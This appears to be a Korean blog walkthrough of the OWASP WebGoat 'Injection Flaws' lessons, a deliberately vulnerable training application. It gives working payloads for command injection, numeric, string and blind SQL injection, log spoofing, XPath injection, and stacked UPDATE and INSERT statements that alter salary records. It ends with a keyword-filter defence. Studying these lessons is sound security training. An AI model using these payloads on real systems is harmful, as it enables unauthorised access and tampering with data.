보안/웹 해킹_보안

[WebGoat 5.4-09] Injection Flaw

오픈이지 2013. 4. 7. 11:54

 

1. Command Injection


파라미터를 사용하는 모든 사이트에 심각한 위협을 줄 수 있다. 공격 방법은 배우기 쉽고 시스템 구성요소에 대해 손상을 줄 수 도 있다.  

ping 127.0.0.1 명령을 삽입하여 실행한다.


[해답]

Tamper Data를 시작한뒤 [Go] 버튼 클릭

AccessControlMatrix.help"&ping 127.0.0.1 을 URIencoding하여 TamperData의 HelpFile필드의 값으로 변경하여 전송한다.

HelpFile 값을 AccessControlMatrix.help%22%20%26%20ping%20127.0.0.1로변경하여 submit

ping 127.0.0.1 명령이 실행되어 화면에 표시된다.

 


2. Numeric SQL Injection


SQL injection을 수행해서 모든 날씨 정보가 출력되도록 한다.


[해답]

Tamper Data 를 시작한뒤 [Go] 버튼 클릭,  station 값을 101 에서 101 or 1=1  로 변경해서 submit

 

 

3. Log Spoofing


실제로 접근 권한을 얻는 것이 아니라 눈을 속이기 위한 속임수를 구현한다.


[해답]

username과 password를 입력하면 잘못된 로그인에 대해 다음과 같은 메시지가 출력된다.

Login failed for username: tester

 

이 로그메시지를 다음과 같이 출력되게 한다.

Login failed for username: tester

Login Successed for username: admin

 

URIencoding에서 다음 문자열을 URIencoding 한다.

tester

Login Successed for username: admin

 

이값을 username: tester%0ALogin%20Succeded%20for%20username%3A%20admin

       password: aa

입력해서 전송하면 원하는 로그메시지를 출력할 수 있다.

 

 

 

4. XPATH Injection


웹사이트가 사용자로부터 입력된 XML데이터 쿼리를 사용할 때 발생한다.

악의적인 정보를 보냄으로 인해 공격자는 일반적으로 접근 할 수 없는 XML데이터가 구성되어 있는지 혹은 데이터에 접근하는지 파악할 수 있다.

 

XML이 권한 증명에 사용된다면 공격자는 웹에서 그들의 권한을 높일 수 도 있다.

XPath는 XML쿼리를 사용하여 데이터를 입력시킬 수 있는 짧은 표현의 종류이다. XPath를 설정 할 때 는 SQL처럼 사용자는 찾을 속성과 매치시킬 패턴을 지정할 수 있다.

웹에서 XML을 사용할 때 페이지에 띄울 내용을 알아내기위해 쿼리문을 쓰는 것은 일반화 되어 있지만 이러한 입력문은 XPath를 혼란시키지 말아야 하며 잘못된 데이터를 반환하지 않아야 한다.

 

공개된 사용자의 아이디를 통해 다른 사용자 정보에 접근 하는 것이다.

 

공개된 Java 소스를 보면 text형식으로 입력된 username으로 XML파일에서 파싱해 내는 것을 알 수 있다. username을 조작하면 XPath를 조작할 수 있다.

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");

139              File d = new File(dir);

140              XPathFactory factory = XPathFactory.newInstance();

141              XPath xPath = factory.newXPath();

142              InputSource inputSource = new InputSource(new FileInputStream(d));

143              String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password

144                      + "']";

145              nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

146              int nodesLength = nodes.getLength();



[해답]

우선 원하는 동작을 수행하기 위해서는 로그인에 성공해야 한다. 이 경우 username과 password가 and로 묶여져 있는 것은 좋지 않다. 이를 or로 바꿔주면username만 일치하면 로그인 할 수 있을것이다. or로 바꿔주기 위해서는 and의 연산순위가 or 보다 높은 성질을 이용한다.

/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password

로 쿼리문이 작성된다.

username값으로  Mike' or 'a'='a 의 형식으로 입력해주면 쿼리문이 or로 변경될 수 있다.

 

두번째 단계에서는 username조차도 알지 못해도 전체 프로파일을 볼 수 있게 해 보자

username값으로  test' or 1=1 or 'a'='a  로 입력하게 되면 사용자명도 상관없이 로그인이 이루어지며 모든 employee 급여 정보를 확인할 수 있다.

 

 

5. String SQL Injection


제대로 된 비밀번호를 사용하지 않고 최고 권한자의 아이디로 접속하는 것이다문자열로 받는 패스워드에 "OR + 절대적 참인 명제"를 덧붙이는 것으로 쉽게 완료 할 수 있다.


[해답]

last name 입력창에 admin' or '1'='1 을 입력하여 전송하면 실제로 select * from user_data 가 수행된 결과가 출력 된다.

 

LAB: SQL Injection

 

Stage 1: String SQL Injection

    TamperData를 켜고 [Login]버튼을 클릭한다.

    password값으로 123' or 'a'='a  로 변경하여 전송한다. 아무런 문제 없이 최고 권한의 사용자로 접속된다.

 

Stage 2: Parameterized Query #1

     Developer 버전의 webgoat에서 만 실행됨

 

Stage 3: Numeric SQL Injection

목표: Larry Stooge(password: larry) 로 로그인하여 최고 권한자의 프로필을 열람하는 것이 목표이다.

우선 Larry계정으로 로그인을 한다.

Larry의 [ViewProfile]버튼을 클릭하고 TamperData로 employee_id 부분을 수정하여 전송한다.

profile의 내용은 리스트로 출력되지 않고 한명에 대해서만 출력된다.

그래서 급여를 많이 받는 순서로 ordering을 해서 첫번째 employee를 출력하면 Neville이 확률이 높다.

그래서 employee_id를 101 or 1=1 order by salary desc 로 변경하여 전송한다.

 

Stage 4: Parameterized Query #2

Developer 버전의 webgoat에서만 실행됨

 

 

6. Modify Data with SQL Injection


jsmith의 데이터를 변환하는 것이 수행과제이다.

userid를 입력하면 해당 사원의 급여가 출력된다.

테이블명은 salaries 이고이 폼은 SQL injection 취약점을 가지고 있다.

jsmith의 급여를 30000로 수정한다.


[해답]

일단 쿼리문을 작성해보면  update salaries set salary=30000 where userid='jsmith'; 이다

이쿼리문을 사용하여 전달되는 userid를 TamperData에서 다음과 같이 수정한다.

jsmith'; update salaries set salary=30000 where userid='jsmith

 

실행한 뒤 jsmith로 다시 급여를 조회해 보면 변경된 급여로 출력되는 것을 확인할 수 있다.

 

 

7. Add Data with SQL Injection


데이터베이스에 새로운 데이터를 추가하는 것이 목표이다. ksmith라는 사원의 급여를 99999원으로 하여 레코드를 추가한다.

 

[해답]

insert SQL문을 사용하여 새로운 사원을 추가한다.

jsmith';insert into salaries(userid) values('ksmith'); update salaries set salary=99999 where userid='ksmith

 

 

8. Database Backdoors



 

 

9. Blind Numeric SQL Injection


악의적인 문자열 삽입 대신 쿼리 결과(참 혹은 거짓)에 따라 정보를 취득하는 기법이다.

Blind  SQL  Injection 은 substr()과 ascii()함수를 사용하여 쿼리의 결과를 얻어, 한글자씩 끊어온 값을 아스키코드로 변환시키고 임의의 숫자와 비교하여 참과 거짓을 비교하는 과정을 거쳐가며 계속 질의를 보내어 일치하는 아스키코드를 찾아냅니다.

그러한 과정을 반복하여 결과들을 조합하여 원하는 정보를 얻어냄으로써 공격을 이루어지게하는 것입니다.

 많은 비교과정이 필요하기 때문에 악의적인 목적을 가진  크래커들은 Blind SQL Injection 공격을 시도할때에 자동화된 툴을 사용하여 공격합니다

 

substr(“string”,자르기 시작할 문자의 인덱스,자를 문자의 개수)

ascii(변환할 문자)   ß 아스키 코드값 반환

 

DB의 테이블이나 컬럼의 정보를 얻어올 때 많이 사용된다.

 

목표: pins 테이블에서 cc_number=1111222233334444인 row의 pin필드의 값을 찾아온다.

select * from user_data where userid=accountNumber;

 

101 and 1=1  인 경우

101 and 1=2  인 경우

 

101 and ((select pin from pins where cc_number='1111222233334444') > 10000);

 

 

10. Blind String SQL Injection



pins table에서 cc_number=4321432143214321 row  name 필드의 값을 찾아서 전송한다.

Account Number에 입력된값에 데이터베이스를 검색해서  "Account number is valid" or "invalid aaccount number"라는 메시지를 화면에 출력해준다.

 

101 AND (

SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

 

 

101  and ( select ascii(substr(name,1,1)) from pins where cc_number=4321432143214321) =$ --

 

 

<참고> Blind SQL Injection


Blind SQL Injection은 평범한 SQL Injection 과 같이 원하는 데이터를 가져올 쿼리를 삽입하는 기술이다.

다른점은 참과 거짓, 쿼리가 참일때와 거짓일때 서버의 반응 만으로 데이터를 얻어내는 기술이다.

 

Blind SQL Injection은 substr('aaaa',1,1) 함수와 ascii(변환할문자)함수를 이용하여 쿼리의 결과를 얻어 한 글자씩 끊어온 값을 아스키코드로 변환시키고 임의의 숫자와 비교하여 참가 거짓을 비교하는 과정을 반복하여 결과들을 조합하여 원하는 정보를 얻어냄으로써 공격을 이루어지게 하는 것이다.

 

많은 비교과정이 필요하기 때문에 자동화된 툴을 이용하여 공격한다.

 

 

공격에 사용될 SQL문 이해하기


MySQL의 information_schema에는 데이터베이스의 여러 정보들이 들어있다.

 

SELECT * FROM information_schema.tables

 

다음과 같이 SQL Injection 에 취약한 로그인폼이 있다고 한다면,

SELECT * FROM users WHERE id='전송받은값' AND passwd='전송받은값'

 

우선 information_schema에서 가져올 테이블명에 대해 알아보자.

SELECT table_name FROM TABLES WHERE table_type='base table'  LIMIT 0, 1  쿼리문을 실행하면

users 를 반환한다.

Blind SQL Injection은 이런 결과 값을 substr함수를 이용하여 한글자씩 잘라서 가져온다.

 

SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) 을 실행하면 쿼리 결과로 u를 반환한다.

이렇게 잘라온값을 ascii 함수를 이용해 아스키코드로 변환한다.

 

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) )

을 실행하면 결과값으로 117이 반환된다.  



(공격예)

ID:            [                         ]

PASSWORD: [                         ]

 

Blind SQL Injection으로 테이블명 알아내기

id와 passwd 를 다 입력할 필요없이 admin'# 을 입력하여 passwd 부분을 커맨트 처리한다

SELECT * FROM users where id='admin'#'and passwd='aaaaa'   <- 초록색부분 커맨트 처리

이를 이용해서 id='admin' 조건뒤에 and 연산자와 함께 입력한다.

admin' and ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 120#  

를 삽입하면 임의의 숫자와 비교하여 참이면 로그인 성공, 거짓이면 로그인에 실패한다.

 

만약 로그인에 성공하면 결과값의 첫글자의 아스키코드는 120미만이다.

 

다시 115미만인지를 테스트 한다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 115#

 

로그인에 실패하였다면 결과값은 아스키코드 115 이상이다.

115 < 첫글자 아스키코드 < 120

 

다시 117미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 117#

 

로그인에 실패하였다면 결과값은 아스키 코드 117 이상이다.

117 <= 첫글자 아스키코드 < 120

 

다시 118미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 118#

로그인 성공. 결과값의 첫글자의 아스키 코드가 118 보다 작다.

117 <= 첫글자 아스키코드 < 118

 

 

그럼 첫글자는 117이 된다. 아스키코드 117에 해당하는 문자는 'u' 이다.

 

이런방법으로 참인지 거짓인지 비교하여 한 글자씩 알아내면 테이블명을 찾아낼 수 있다.

이렇게 DB 정보가 노출되면 테이블들을 조작하거나 데이터를 얻어내는 것은 시간문제이다.

 

 

Blind SQL Injection 공격으로 부터 안전하려면?

쿼리를 변조할 수 있는 문구가 삽입되는 것을 막아야 한다.

union, select, from, where, limit, or, and, ||, &&, (, ), <, >, insert, update, delete, reate, drop 등 SQL 구문을 감지하는 패턴을 만들어 배열화 시킨뒤 $_REQUEST 시켜 패턴과 매치하면 SQL Injection을 감지하여 서버 담당자가 원하는 동작을 수행하도록 하면 간단하고 효율적으로 SQL Injection을 방어할 수 있다.

 

쿼리에러가 발생하였을때 에러에 대한 정보를 보여주어서도 안된다. 대부분이 에러 정보를 바탕으로 SQL Injection을 시도하기 때문이다.



OWASP WebGoat: Injection Flaws 솔루션 비디오 보기   

Size: N/A